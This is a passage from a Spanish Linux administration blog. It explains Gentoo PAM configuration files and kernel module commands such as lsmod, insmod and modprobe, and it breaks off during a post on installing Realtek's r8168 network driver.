password required pam_unix.so try_first_pass use_authtok sha512 shadow
password optional pam_permit.so
session required pam_limits.so
session required pam_env.so
session required pam_unix.so
session optional pam_permit.so</pre><ul><li>Línea 2: Se requiere la inicialización de las variables de entorno definidas en /etc/security/pam_env.conf</li>
<li>Línea 3: Se requiere autenticar al usuario al <i>estilo unix</i> (/etc/passwd y /etc/shadow); además se le pasan los parámetros:<ul><li class="li2snd">try_first_pass, si algún módulo apilado anterior ha recibido una contraseña, la usará para la autenticación.</li>
<li class="li2snd">likeauth, pam_sm_setcred() devuelve lo mismo que pam_sm_authenticate().</li>
<li class="li2snd">nullok, permite contraseñas en blanco</li>
</ul></li>
<li>Línea 4: De forma opcional, y en caso de que no se ofrezca un nombre de usuario, el proceso de autenticación continua pero mapeado hacia el usuario <i>nobody</i>.</li>
<li>Línea 6: Se requiere la comprobación del estado de la cuenta, como por ejemplo si aun está vigente, si la contraseña ha caducado...</li>
<li>Línea 7: De forma opcional se comprueba el estado de la cuenta <i>nobody</i>.</li>
<li>Línea 9: Se requiere comprobar el nivel de seguridad de la clave mediante un ataque simple basado en diccionario, además se le pasa las siguiente opciones:<ul><li class="li2snd">difok=2, indica el número de caracteres en la nueva contraseña que no puede estar presente en la antigua contraseña. En este caso solo pueden existir dos caracteres, en la nueva contraseña, iguales a la vieja contraseña.</li>
<li class="li2snd">minlen=8, indica el tamaño mínimo aceptable para la nueva contraseña.</li>
<li class="li2snd">retry=3, máximo número de intentos para cambiar la contraseña, por defecto 1.</li>
</ul></li>
<li>Línea 10: Se requiere para actualizar la contraseña, se le pasa las siguientes opciones:<ul><li class="li2snd">try_first_pass, antes de preguntar al usuario por la contraseña intenta usar la contraseña del módulo apilado anterior.</li>
<li class="li2snd">use_authtok, toma como nueva contraseña la proporcionado por el módulo apilado anterior; en el ejemplo pam_ctracklib</li>
<li class="li2snd">sha512, se utiliza el algoritmo SHA512 para cifrar la contraseña.</li>
<li class="li2snd">shadow, guarda las contraseñas cifradas en /etc/shadow.</li>
</ul></li>
<li>Línea 11: De forma opcional, si en el proceso no se especifica ningún usuario, este se ajustará a <i>nobody</i>.</li>
<li>Línea 13: Fuerza que se limiten los recursos de la sesión del usuario de acuerdo al contenido de /etc/security/limits.conf</li>
<li>Línea 14: Se requiere la inicialización de las variables de entorno definidas en /etc/security/pam_env.conf</li>
<li>Línea 15: Se requiere autenticar al usuario al estilo unix (/etc/passwd y /etc/shadow).</li>
<li>Línea 16: De forma opcional, se permite el inicio de sesión como usuario <i>nobody</i>.</li>
</ul><br />
A continuación se verá un ejemplo de login, el cual permite a los usuarios iniciar una sesión en el sistema. Puesto que este módulo PAM es responsable de permitir, o denegar, el acceso al sistema, es uno de los puntos más sensibles y de mayor riesgo por ello deberá ser cuidadoso cuando edite la configuración.<br />
<pre class="brush: shell">agd-desktop # cat /etc/pam.d/login
auth required pam_securetty.so
auth include system-local-login
account include system-local-login
password include system-local-login
session include system-local-login</pre><ul><li>Línea 2: Solo se permite la entrada, al usuario root, si el acceso se produce desde una terminal segura de acuerdo a lo definido en /etc/securetty</li>
<li>Línea 3, 5, 6 y 7: se incluyen las políticas definidas por el módulo system-local-login.</li>
</ul><br />
En el caso del módulo PAM passwd, tan solo se incluyen las políticas definidas por el módulo <i>artificial</i> system-auth.<br />
<pre class="brush: shell">agd-desktop # cat /etc/pam.d/passwd
#%PAM-1.0
auth sufficient pam_rootok.so
auth include system-auth
account include system-auth
password include system-auth</pre><br />
Por último revisaremos las políticas del módulo su;<br />
<pre class="brush: shell">agd-desktop # cat /etc/pam.d/su
#%PAM-1.0
auth sufficient pam_rootok.so
# If you want to restrict users begin allowed to su even more,
# create /etc/security/suauth.allow (or to that matter) that is only
# writable by root, and add users that are allowed to su to that
# file, one per line.
#auth required pam_listfile.so item=ruser sense=allow onerr=fail file=/etc/security/suauth.allow
# Uncomment this to allow users in the wheel group to su without
# entering a passwd.
#auth sufficient pam_wheel.so use_uid trust
# Alternatively to above, you can implement a list of users that do
# not need to supply a passwd with a list.
#auth sufficient pam_listfile.so item=ruser sense=allow onerr=fail file=/etc/security/suauth.nopass
# Comment this to allow any user, even those not in the 'wheel'
# group to su
auth required pam_wheel.so use_uid
auth include system-auth
account include system-auth
password include system-auth
session include system-auth
session required pam_env.so
session optional pam_xauth.so</pre><ul><li>Línea 4: Permite al usuario root cambiar de usuario, a través de su, sin suministrar la contraseña del usuario.</li>
<li>Línea 22: Tan solo los usuarios pertenecientes al grupo wheel pueden usar su para logearse como root.</li>
<li>Línea 32: De forma opcional, se carga el módulo xauth para que el usuario al que se ha cambiado pueda lanzar aplicaciones X-Window en la sesión del usuario original.</li>
</ul>Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com0tag:blogger.com,1999:blog-507892079964167031.post-38321040953090307742011-06-22T20:45:00.013+02:002011-06-24T02:02:41.782+02:00Administración de módulos del kernelEn este tutorial se verán los comandos necesarios para administrar los módulos del kernel.<br />
<a name='more'></a><br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos</legend><ul><li><a href="#1">Lista resumen</a></li>
<li><a href="#2">lsmod</a></li>
<li><a href="#3">depmod</a></li>
<li><a href="#4">ls -R /lib/modules/$(uname -r) | grep -C1 .ko</a></li>
<li><a href="#5">modinfo</a></li>
<li><a href="#6">insmod</a></li>
<li><a href="#7">rmmod</a></li>
<li><a href="#8">modprobe</a></li>
<li class="li2snd"><a href="#8-1">modprobe modulo</a></li>
<li class="li2snd"><a href="#8-2">modprobe -r modulo</a></li>
<li class="li2snd"><a href="#8-3">modprobe -nv modulo</a></li>
</ul></fieldset><br />
<a name="1"><b>Lista resumen</b><ul></a>
<li><b>lsmod</b> Muestra los módulos actualmente cargados en el sistema.</li>
<li><b>depmod</b> Reconstruye la base de datos de dependencias de los módulos (modules.dep) y la tabla de símbolos (System.map) que utiliza el kernel.</li>
<li><b>ls -R /lib/modules/$(uname -r) | grep -C1 .ko</b> Lista todos los módulos disponibles para el kernel en ejecución.</li>
<li><b>modinfo modulo</b> Muestra información sobre el módulo indicado.</li>
<li><b>insmod /ruta/modulo.ko</b> Carga el módulo indicado en el kernel en ejecución. No maneja dependencias, por este motivo se recomienda el uso de modprobe.</li>
<li><b>rmmod modulo</b> Descarga el módulo indicado del kernel en ejecución. No resuelve dependencias, por este motivo se recomienda el uso de modprobe.</li>
<li><b>modprobe modulo</b> Carga el módulo indicado, así como todas sus dependencias, en el kernel en ejecución.</li>
<li><b>modprobe -r modulo</b> Descarga el módulo indicado, así como todas sus dependencias, del kernel en ejecución.</li>
<li><b>modprobe -nv modulo</b> Muestra los comandos insmod a ejecutar para cargar el módulo indicado así como todas sus dependencias. Es un comando útil para diagnosticar problemas de dependencias al cargar un módulo con modprobe.</li>
</ul><br />
<br />
<a name="2"><b>lsmod</b></a><br />
Muestra los módulos actualmente cargados por el sistema, el tamaño y los <i>usuarios</i> del mismo. Para lo cual accede, limpia y muestra por consola el contenido de /proc/modules, <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106221321","slide"); return false">[+/-] ver salida de cat /proc/modules</a> <div id="201106221321" style="display: none;"><pre class="brush: shell">agd-desktop # cat /proc/modules
sco 8326 2 - Live 0xffffffffa002f000
nvidia 10482236 40 - Live 0xffffffffa004d000 (P)
sr_mod 12680 0 - Live 0xffffffffa0043000
cdrom 34470 1 sr_mod, Live 0xffffffffa0034000
r8168 183402 0 - Live 0xffffffffa0000000</pre></div><pre class="brush: shell">agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop #</pre><br />
En el ejemplo, se observan muy pocos módulos cargados por el sistema. Esto se debe a que el kernel ha sido compilado expresamente para la máquina en la cual se ejecuta, tratando de eliminar todos los componentes innecesarios, y en la mayoría de los casos compilando dentro del propio kernel en lugar de como módulo. Por este motivo, si usted usa un kernel compilado automáticamente por una herramienta, como por ejemplo <a href="http://packages.gentoo.org/package/sys-kernel/genkernel" >sys-kernel/genkernel</a>, o bien compilado por su distribución, su salida será bastante más extensa. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106221326","slide"); return false">[+/-] Ver salida de un ordenador con Ubuntu</a> <div id="201106221326" style="display: none;"><pre class="brush: shell">makeinstall@makeinstall-virtual-machine:~$ lsmod
Module Size Used by
parport_pc 32111 0
ppdev 12849 0
vesafb 13449 1
snd_ens1370 24155 2
binfmt_misc 13213 1
gameport 15027 1 snd_ens1370
snd_pcm 80244 1 snd_ens1370
snd_seq_midi 13132 0
snd_rawmidi 25269 2 snd_ens1370,snd_seq_midi
snd_seq_midi_event 14475 1 snd_seq_midi
snd_seq 51291 2 snd_seq_midi,snd_seq_midi_event
snd_timer 28659 2 snd_pcm,snd_seq
joydev 17322 0
snd_seq_device 14110 3 snd_seq_midi,snd_rawmidi,snd_seq
snd 55295 10 snd_ens1370,snd_pcm,snd_rawmidi,snd_seq,snd_timer,snd_seq_device
virtio_balloon 12948 0
psmouse 73312 0
serio_raw 12990 0
soundcore 12600 1 snd
snd_page_alloc 14073 2 snd_ens1370,snd_pcm
i2c_piix4 13095 0
lp 13349 0
parport 36746 3 parport_pc,ppdev,lp
usbhid 41704 0
hid 77084 1 usbhid
virtio_blk 12947 3
floppy 60032 0
8139too 23208 0
8139cp 22497 0
virtio_pci 13257 0
virtio_ring 14157 3 virtio_balloon,virtio_blk,virtio_pci
virtio 13808 3 virtio_balloon,virtio_blk,virtio_pci
makeinstall@makeinstall-virtual-machine:~$</pre></div><br />
<br />
Al analizar una de las líneas de esta salida, como por ejemplo la línea <i>cdrom 34470 1 sr_mod</i> podemos observar cuatro campos:<ul><li>Nombre del módulo, en el ejemplo cdrom.</li>
<li>Tamaño en bytes, en el ejemplo 34470.</li>
<li>Cantidad de <i>usuarios</i> accediendo al módulo, en el ejemplo 1.</li>
<li>Módulos que a su vez hacen uso de dicho módulo, en el ejemplo sr_mod</li>
</ul><br />
<br />
<a name="3"><b>depmod</b></a><br />
Reconstruye la base de datos de dependencias de los módulos (modules.dep) y la tabla de símbolos (System.map) que utiliza el kernel. Las dependencias de los módulos se guardan en el archivo modules.dep localizado en /lib/modules/versión-del-kernel/. A continuación puede ver la lista de archivos generados por depmod:<pre class="brush: shell">agd-desktop # ls /lib/modules/2.6.38-gentoo-r6-agd/mod*
/lib/modules/2.6.38-gentoo-r6-agd/modules.alias
/lib/modules/2.6.38-gentoo-r6-agd/modules.alias.bin
/lib/modules/2.6.38-gentoo-r6-agd/modules.builtin
/lib/modules/2.6.38-gentoo-r6-agd/modules.builtin.bin
/lib/modules/2.6.38-gentoo-r6-agd/modules.ccwmap
/lib/modules/2.6.38-gentoo-r6-agd/modules.dep
/lib/modules/2.6.38-gentoo-r6-agd/modules.dep.bin
/lib/modules/2.6.38-gentoo-r6-agd/modules.devname
/lib/modules/2.6.38-gentoo-r6-agd/modules.ieee1394map
/lib/modules/2.6.38-gentoo-r6-agd/modules.inputmap
/lib/modules/2.6.38-gentoo-r6-agd/modules.isapnpmap
/lib/modules/2.6.38-gentoo-r6-agd/modules.ofmap
/lib/modules/2.6.38-gentoo-r6-agd/modules.order
/lib/modules/2.6.38-gentoo-r6-agd/modules.pcimap
/lib/modules/2.6.38-gentoo-r6-agd/modules.seriomap
/lib/modules/2.6.38-gentoo-r6-agd/modules.softdep
/lib/modules/2.6.38-gentoo-r6-agd/modules.symbols
/lib/modules/2.6.38-gentoo-r6-agd/modules.symbols.bin
/lib/modules/2.6.38-gentoo-r6-agd/modules.usbmap
agd-desktop #</pre><br />
<br />
<a name="4"><b>ls -R /lib/modules/$(uname -r) | grep -C1 .ko</b></a><br />
Lista todos los módulos disponibles para el kernel en ejecución. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106221353","slide"); return false">[+/-] Ver ejemplo</a> <div id="201106221353" style="display: none;"><pre class="brush: shell">agd-desktop # ls -R /lib/modules/$(uname -r) | grep -C1 .ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/arch/x86/kernel:
microcode.ko
--
/lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/block:
loop.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/cdrom:
cdrom.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/net:
r8168.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/scsi:
scsi_wait_scan.ko
sr_mod.ko
--
/lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat:
fat.ko
msdos.ko
vfat.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/isofs:
isofs.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/ntfs:
ntfs.ko
/lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/udf:
udf.ko
--
/lib/modules/2.6.38-gentoo-r6-agd/kernel/lib/zlib_inflate:
zlib_inflate.ko
--
/lib/modules/2.6.38-gentoo-r6-agd/kernel/net/bluetooth:
sco.ko
/lib/modules/2.6.38-gentoo-r6-agd/video:
nvidia.ko
agd-desktop #</pre></div><br />
<br />
<a name="5"><b>modinfo</b></a><br />
Muestra información sobre el módulo indicado. A continuación podrá ver un ejemplo de uso de modinfo:<pre class="brush: shell">agd-desktop # modinfo vfat
filename: /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/vfat.ko
author: Gordon Chaffee
description: VFAT filesystem support
license: GPL
depends: fat
vermagic: 2.6.38-gentoo-r6-agd SMP mod_unload
agd-desktop #</pre><br />
Como puede observar, la salida de modinfo incluye la siguiente información:<ul><li>Ruta completa, en el ejemplo /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/vfat.ko</li>
<li>Autor, en el ejemplo Gordon Chaffee</li>
<li>Descripción, en el ejemplo VFAT filesystem support</li>
<li>Licencia, en el ejemplo GPL</li>
<li>Dependencias, en el ejemplo fat</li>
<li>Vermagic, almacena la siguiente información sobre el módulo:</li>
<li class="li2snd">Versión del kernel, en el ejemplo 2.6.38-gentoo-r6-agd.</li>
<li class="li2snd">Opciones, en el ejemplo SMP mod_unload.</li>
<li class="li2snd">Arquitectura, en el ejemplo no aparece.</li>
<li class="li2snd">Versión de GCC usada en su compilación, en el ejemplo no aparece.</li>
<li>Parámetros que pueden ser pasados al cargar el módulo. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106221555","slide"); return false">[+/-] Ver ejemplo</a> <div id="201106221555" style="display: none;"><pre class="brush: shell; highlight: [13, 14, 15, 16]">makeinstall@makeinstall-virtual-machine:~$ modinfo usb-storage
filename: /lib/modules/2.6.38-8-generic/kernel/drivers/usb/storage/usb-storage.ko
license: GPL
description: USB Mass Storage driver for Linux
author: Matthew Dharm <mdharm-usb@one-eyed-alien.net>
srcversion: 8A145B019CD0F5E5F41180F
alias: usb:v*p*d*dc*dsc*dp*ic08isc06ip50*
...
...
alias: usb:v03EBp2002d0100dc*dsc*dp*ic*isc*ip*
depends:
vermagic: 2.6.38-8-generic SMP mod_unload modversions 686
parm: option_zero_cd:ZeroCD mode (1=Force Modem (default), 2=Allow CD-Rom (uint)
parm: swi_tru_install:TRU-Install mode (1=Full Logic (def), 2=Force CD-Rom, 3=Force Modem) (uint)
parm: delay_use:seconds to delay before using a new device (uint)
parm: quirks:supplemental list of device IDs and their quirks (string)
makeinstall@makeinstall-virtual-machine:~$</pre></div></li>
</ul><br />
<br />
<a name="6"><b>insmod</b></a><br />
Carga el módulo indicado en el kernel en ejecución. No resuelve dependencias, por este motivo se recomienda el uso de modprobe. Es importante constatar que insmod precisa la ruta y el nombre completo del módulo a cargar. Así, por ejemplo si precisa cargar el módulo vfat, deberá indicar la ruta, el nombre y la extensión del módulo vfat. También debe tener en cuenta que insmod no resuelve dependencias; por ello antes de cargar un módulo deberá de cargar todas sus dependecias o insmod le devolverá un error del tipo <i>insmod: error inserting '/lib/modules/.../.../module.ko': -1 Unknown symbol in module</i>. Además debe tener en cuenta que insmod solo mostrará los errores, es decir, si el modulo es cargado correctamente insmod no mostrará nada. A continuación podrá ver un ejemplo de uso de insmod:<pre class="brush: shell">agd-desktop # insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/arch/x86/kernel/microcode.ko
agd-desktop # insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/arch/x86/kernel/microcode.ko
insmod: error inserting '/lib/modules/2.6.38-gentoo-r6-agd/kernel/arch/x86/kernel/microcode.ko': -1 File exists
agd-desktop # lsmod
Module Size Used by
microcode 7064 0
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop #</pre><br />
Como puede ver, al invocar insmod para cargar el módulo microcode, insmod no arrojo información al respecto en la primera ejecución ya que el módulo fue cargado correctamente. Al ejecutar por segunda vez el comando, muestra un error e indica que el módulo ya está cargado; lo cual verificamos haciendo uso del comando lsmod.<br />
<br />
<br />
<a name="7"><b>rmmod</b></a><br />
Descarga el módulo indicado del kernel en ejecución. rmmod, al igual que insmod, no maneja dependencias por ello es recomendable hacer uso de modprobe. A diferencia de insmod, rmmod no precisa de la ruta del módulo a descargar sino tan solo su nombre. Y al igual que insmod, tan solo muestra errores, es decir, no muestra nada por pantalla si el módulo ha sido descargado correctamente. A continuación podrá ver un ejemplo de uso de rmmod:<pre class="brush: shell">agd-desktop # rmmod microcode
agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop # rmmod cdrom
ERROR: Module cdrom is in use by sr_mod
agd-desktop #</pre><br />
Como se puede ver en el ejemplo, el modulo microcode ha sido descargado correctamente mientras que el módulo cdrom no ha podido ser descargado por estar en uso. Para descargar el módulo cdrom, antes se debe descargar el módulo sr_mod, es decir, <i>rmmod sr_mod && rmmod cdrom</i>.<br />
<br />
<br />
<a name="8"><b>modprobe</b></a><br />
Permite cargar y descargar los módulos indicados, así como todas sus dependencias. La sintaxis de modprobe es sencilla, aunque tiene multitud de opciones. Si tiene problemas de dependencias al intentar cargar un módulo con modprobe, tal vez deba regenerar la base de datos de dependencias con <a href="#3">depmod</a>. A continuación se indican algunas de las opciones más útiles. Si desea obtener una información más amplia, puede consultar la página <a href="http://linux.die.net/man/8/modprobe" >man de modprobe</a>.<br />
<br />
<br />
<a name="8-1"><b>modprobe modulo</b></a><br />
Carga el módulo indicado, así como todas sus dependencias, en el kernel en ejecución. A continuación podrá ver un ejemplo de uso de modprobe:<pre class="brush: shell; highlight: [8, 9, 10]">agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop # modprobe -v vfat
insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/fat.ko
insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/vfat.ko
agd-desktop # lsmod
Module Size Used by
vfat 9719 0
fat 49522 1 vfat
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop #</pre><br />
Algunos módulos permiten pasar parámetros de configuración al ser cargados. Puede consultar toda la información referente a un módulo, así como los parámetros que se le pueden pasar, usando la utilidad <a href="#5">modinfo</a>, tal y como vimos anteriormente. A continuación veremos un ejemplo donde se carga el módulo <a href="http://www2.one-eyed-alien.net/~mdharm/linux-usb/" >usb-storage</a>, el driver para los dispositivos de almacenamiento masivo por USB, y se modifican los parámetros.<pre class="brush: shell; highlight: [6, 7]">makeinstall@makeinstall-virtual-machine:~$ modinfo usb-storage | grep parm
parm: option_zero_cd:ZeroCD mode (1=Force Modem (default), 2=Allow CD-Rom (uint)
parm: swi_tru_install:TRU-Install mode (1=Full Logic (def), 2=Force CD-Rom, 3=Force Modem) (uint)
parm: delay_use:seconds to delay before using a new device (uint)
parm: quirks:supplemental list of device IDs and their quirks (string)
makeinstall@makeinstall-virtual-machine:~$ sudo modprobe -v usb-storage delay_use=10
insmod /lib/modules/2.6.38-8-generic/kernel/drivers/usb/storage/usb-storage.ko delay_use=10
makeinstall@makeinstall-virtual-machine:~$</pre><br />
En el ejemplo, se carga el módulo usb-storage y se le pasa el parámetro delay_use=10, el cual fija un retardo de 10 segundos antes de que el dispositivo de almacenamiento masivo por usb pueda ser usado. Una opción interesante es <i>quirks</i>, la cual permite pasar una lista de identificadores (IDs) de dispositivos. Le será útil en caso de que trabaje con dispositivos modernos o no presentes en la lista de dispositivos de su kernel, y encuentre por internet <i>un ID válido para su dispositivo</i>. Si tiene problemas en este aspecto, puede descargar una lista de dispositivos actualizada en <a href="http://www.linux-usb.org/usb-ids.html" >The USB ID Repository</a> y <a href="http://pciids.sourceforge.net/" >The PCI ID Repository</a>.<br />
<br />
<br />
<a name="8-2"><b>modprobe -r modulo</b></a><br />
Descarga el módulo indicado, así como todas sus dependencias, del kernel en ejecución. A continuación podrá ver un ejemplo de uso de modprobe -r:<pre class="brush: shell; highlight: [10, 11, 12]">agd-desktop # lsmod
Module Size Used by
vfat 9719 0
fat 49522 1 vfat
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop # modprobe -rv vfat
rmmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/vfat.ko
rmmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/fat.ko
agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop #</pre><br />
<br />
<a name="8-3"><b>modprobe -nv modulo</b></a><br />
Muestra los comandos insmod a ejecutar para cargar el módulo indicado, así como todas sus dependencias. Es un comando útil para diagnosticar problemas de dependencias al cargar un módulo con modprobe. A continuación podrá ver un ejemplo de uso de modprobe -nv: <pre class="brush: shell; highlight: [8, 9, 10]">agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop # modprobe -nv vfat
insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/fat.ko
insmod /lib/modules/2.6.38-gentoo-r6-agd/kernel/fs/fat/vfat.ko
agd-desktop # lsmod
Module Size Used by
sco 8326 2
nvidia 10482236 40
sr_mod 12680 0
cdrom 34470 1 sr_mod
r8168 183402 0
agd-desktop #</pre><br />
Si al cargar un módulo con modprobe, este le arroja algún error de dependencia recuerde antes de nada refrescar la base de datos de dependencias con el comando <a href="#3">depmod</a>. Si el problema persiste, las opciones -nv, tal y como hemos visto, le ayudarán a identificar los comandos que se están ejecutando y las dependencias del módulo en cuestión; tal vez alguna dependencia no está compilada o está dañada.Anonymoushttp://www.blogger.com/profile/09387646684121227737noreply@blogger.com3tag:blogger.com,1999:blog-507892079964167031.post-37843558241934289062011-06-15T13:06:00.008+02:002011-07-28T22:18:41.729+02:00Problemas con Realtek RTL8111/8168B Gigabit EthernetA partir de la rama 2.6.37, en adelante, del kernel Linux el driver r8169 da problemas con las tarjetas de red Realtek RTL8168 al transferir grandes volúmenes de datos. En este tutorial se verá como instalar el controlador privativo de Realtek para solucionar este problema.<br />
<a name='more'></a><br />
<fieldset class="fieldset-bordertb"><legend class="fieldset-legendtb">Tabla de contenidos: </legend><br />
<ul><li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=3784355824193428906#1">Antecedentes</a></li>
<li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=3784355824193428906#2">Kernel Bug Tracker</a></li>
<li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=3784355824193428906#3">Descargar los drivers para la tarjeta de red</a></li>
<li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=3784355824193428906#4">Compilar el driver</a></li>
<li><a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=3784355824193428906#5">Cargar el driver al inicio del sistema</a></li>
</ul></fieldset><br />
<br />
<b><a href="" name="1">Antecedentes</a></b><br />
Al comenzar grandes transferencias de datos, a través de la red, el sistema se bloquea totalmente. En mi caso, la transferencia de datos era hacia un raid5, al poco de iniciarse la transferencia, el kernel del sistema se bloqueaba. El fallo durante la escritura al raid5 provocaba que la integridad del raid se viera comprometida. Tras reiniciar el equipo, <i>la tecla mágica</i> <a href="http://www.kernel.org/doc/Documentation/sysrq.txt">SysRq</a> no funciona, el raid debía ser resincronizado.<br />
<br />
Puesto que la red, aparentemente, funcionaba <i>sin problemas</i> supuse que se debía a un problema con el raid. Sin embargo no pude hallar ningún problema en el raid. Así que me decidí a intentar repetir el bug pero controlando los mensajes de diagnóstico (tail -f /var/log/dmesg) e inicié la transferencia de un gran volumen de datos hacia otro disco, para descartar totalmente el raid. En los dos primeros intentos, el equipo se bloqueó y no se registro nada, en el tercero hubo suerte: <br />
<pre class="brush: shell">2011-06-13T22:15:03.884336+02:00 agd-desktop kernel: [ 795.955257] r8169 0000:04:00.0: eth0: link up
2011-06-13T22:15:03.884351+02:00 agd-desktop kernel: [ 795.955265] NOHZ: local_softirq_pending 08
2011-06-13T22:15:05.695358+02:00 agd-desktop kernel: [ 797.764956] r8169 0000:04:00.0: eth0: link up
2011-06-13T22:15:05.695372+02:00 agd-desktop kernel: [ 797.764964] NOHZ: local_softirq_pending 08
2011-06-13T22:15:05.711316+02:00 agd-desktop kernel: [ 797.780942] r8169 0000:04:00.0: eth0: link up
2011-06-13T22:15:05.960348+02:00 agd-desktop kernel: [ 798.029792] r8169 0000:04:00.0: eth0: link up
2011-06-13T22:15:05.960361+02:00 agd-desktop kernel: [ 798.029799] NOHZ: local_softirq_pending 08
2011-06-13T22:15:06.435353+02:00 agd-desktop kernel: [ 798.504457] r8169 0000:04:00.0: eth0: link up
2011-06-13T22:15:06.435367+02:00 agd-desktop kernel: [ 798.504464] NOHZ: local_softirq_pending 08</pre><br />
No había duda, el problema estaba relacionado con el controlador de red. Sin embargo en la versión 2.6.36 del kernel nunca tuve problemas transfiriendo grandes volúmenes de datos; el problema solo ha ocurrido en las versiones 2.6.37-r4, 2.6.38-r6 y 2.6.39-r1 de <a href="http://packages.gentoo.org/package/sys-kernel/gentoo-sources">sys-kernel/gentoo-sources</a>. <br />
<br />
<b><a href="" name="2">Kernel Bug Tracker</a></b><br />
En el sistema de seguimiento de errores del kernel, <a href="https://bugzilla.kernel.org/">Kernel Bug Tracker</a>, encontré el <a href="https://bugzilla.kernel.org/show_bug.cgi?id=32962#c22">Bug 32962 – r8169 self reboot the machine with RTL8111/8168B PCI Express Gigabit Ethernet</a>. Dicho bug describía mi problema a la perfección. La única solución que ofrecen actualmente es instalar el controlador propietario de Realtek.<br />
<br />
<br />
<b><a href="" name="3">Descargar los drivers para la tarjeta de red</a></b><br />
En la <a href="http://www.realtek.com.tw/downloads/">página de descargas de Realtek</a> se encuentran los drivers de sus productos para casi todas las plataformas posibles: Windows, Linux, FreeBSD, SCO Unix, DOS, MacOS...<br />
<br />
En mi caso preciso los drivers para el modelo <a href="http://www.realtek.com.tw/downloads/downloadsView.aspx?Langid=1&PNid=13&PFid=5&Level=5&Conn=4&DownTypeID=3&GetDown=false">RTL8111/8168B</a>, el cual es compatible también con los siguientes modelos de chipset de Realtek: RTL8111B/RTL8168B/RTL8111/RTL8168, RTL8111C/RTL8111CP/RTL8111D(L), RTL8168C/RTL8111DP/RTL8111E y RTL8168E. <a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106141834","slide"); return false">[+/-] ¿como averiguar mi modelo?</a><br />
<div id="201106141834" style="display: none;"><pre class="brush: shell">agd-desktop # lspci | grep -i rtl
04:00.0 Ethernet controller: Realtek Semiconductor Co., Ltd. RTL8111/8168B PCI Express Gigabit Ethernet controller (rev 02)</pre></div><br />
<br />
<b><a href="" name="4">Compilar el driver</a></b><br />
Una vez descargado el paquete con el driver, en mi caso r8168-8.024.00.tar.bz2, es necesario descomprimir el contenido en /usr/src/linux/, hacer un enlace simbólico de /usr/src/linux/r8168-8.024.00/src a /usr/src/linux/src y por último compilar el driver haciendo uso del propio script autorun.sh:<br />
<pre class="brush: shell">agd-desktop # pwd
/usr/src/linux
agd-desktop # tar -xvjf r8168-8.024.00
agd-desktop # ln -s /usr/src/linux/r8168-8.024.00/src /usr/src/linux/src
agd-desktop # cd r8168-8.024.00/
agd-desktop # ./autorun.sh</pre><br />
En mi caso me arrojó un par de errores, por lo que tuve que crear algunos directorios (<a href="http://www.blogger.com/post-edit.g?blogID=507892079964167031&postID=5318177517080107868#" onclick="Effect.toggle("201106141855","slide"); return false">[+/-] Ver</a>), tras lo cual todo funcionó perfectamente.<br />
<div id="201106141855" style="display: none;"><pre class="brush: shell">agd-desktop # mkdir /lib/modules/2.6.38-gentoo-r6-agd/kernel/drivers/net
agd-desktop # mkdir /lib/modules/2.6.38-gentoo-r6-agd/build/</pre></div><pre class="brush: shell">agd-desktop # ./autorun.sh
Check old driver and unload it.
rmmod r8169
Build the module and install
Depending module. Please wait.
load module r8168
Completed.</pre><br />
<br />
<b><a href="" name="5">Cargar el driver al inicio del sistema</a></b><br />
Por último debemos indicar al sistema que driver debe cargar. Para ello deberemos colocar el driver problemático en /etc/modprobe.d/blacklist.conf y el driver que debe ser cargado en /etc/modules.autoload.d/kernel-2.6. Es decir:<br />
